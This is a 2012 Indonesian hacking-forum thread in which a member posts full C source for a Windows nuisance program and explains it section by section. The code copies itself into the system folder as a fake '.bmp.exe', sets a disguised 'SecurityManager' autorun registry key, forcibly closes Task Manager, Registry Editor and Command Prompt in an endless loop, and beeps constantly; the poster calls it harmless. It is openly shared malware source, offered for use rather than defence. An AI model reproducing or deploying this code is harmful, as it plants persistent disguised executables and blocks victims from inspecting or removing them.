.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Virus ? code in C

Go down 
PengirimMessage
robofics
VIP Member
VIP Member
robofics


Jumlah posting : 709
Points : 804
Reputation : 20
Join date : 22.12.11
Lokasi : /dev/null

Virus ? code in C Empty
PostSubyek: Virus ? code in C   Virus ? code in C Icon_minitimeWed Mar 14, 2012 10:12 am

well, ane bingung ini mau ane sebut apa, virus bukan, malware bukan, malicious script kali ya ?
hihi, ini sama sekali ga berbahaya sih..cuma bisa bikin panik para newbie ky ane ini gan Virus ? code in C 1513430891

well, ini dia source codenya
Code:
#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY hKey;
char sd[255];
char path[MAX_PATH];
int Freq = 0;
int Duration = 100;
bool Forwards = true;
bool Backwards = false;
int timer = 0;
HWND hWin;
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);

GetSystemDirectory(sd,255);

strcat(sd,"\\Blue Corral.bmp.exe");
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);

while(1==1)
{

hWin = FindWindow(NULL,"Windows Task Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Registry Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Command Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Close Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq - 100;
timer = timer - 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}

if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}

nah sekarang ke penjelasannya kk.
perhatikan kode berikut
Code:
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);
terlihat jelas bahwa agar dapat otomatis di load ketika startup, dia membuat sebuah key di HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run dengan nama SecurityManager...well, bagi orang yang tidak peduli dengan keamanan kompienya.. kata "SecurityManager" mungkin tidak terkesan mencurigakan.. Virus ? code in C 3529815765 Virus ? code in C 3529815765 Virus ? code in C 3529815765

lalu silakan perhatikan kode berikut ini
Code:
hWin = FindWindow(NULL,"Windows Task Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Registry Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Command Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Close Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

kode ini berfungsi untuk checking window name dr sebuah aplikasi..ketika dalam aplikasi itu terdapat kata2 "Windows Task Manager" atau "Registry Editor" atau "Command Prompt" atau "Close Program" maka si malicious code ini akan mengirimkan request untuk melakukan closing jendela aplikasi yg sedang berjalan tersebut secara paksa tanpa konfirmasi...semacam mode pertahanan diri kk.

ok next, ini yang paling ane demen kk..bikin bingung orang :minta:
perhatikan kode ini
Code:

if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq - 100;
timer = timer - 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}

if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}
kode diatas akan membuat komputer untuk mengeluarkan suara beep dg frekuensi tertentu :minta: :minta:

well, cukup bikin kaget juga sih..kalo ada salah mohon benerin kk Virus ? code in C 1513430891

Kembali Ke Atas Go down
http://robofics.wordpress.com
robofics
VIP Member
VIP Member
robofics


Jumlah posting : 709
Points : 804
Reputation : 20
Join date : 22.12.11
Lokasi : /dev/null

Virus ? code in C Empty
PostSubyek: Re: Virus ? code in C   Virus ? code in C Icon_minitimeWed Mar 14, 2012 11:18 am

up up up :mmelet:
Kembali Ke Atas Go down
http://robofics.wordpress.com
 
Virus ? code in C
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» virus vb code
» Source Code Melissa Virus
» Buat Virus Ga' Sulit & G' Harus Ngerti Code Program..
» Tips Membuat Ekstensi EXE pada program Delphi + Source Code Anti Virus
» Share Virus, Download Macam Macam Virus, dan Upload Virus

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll-
Navigasi: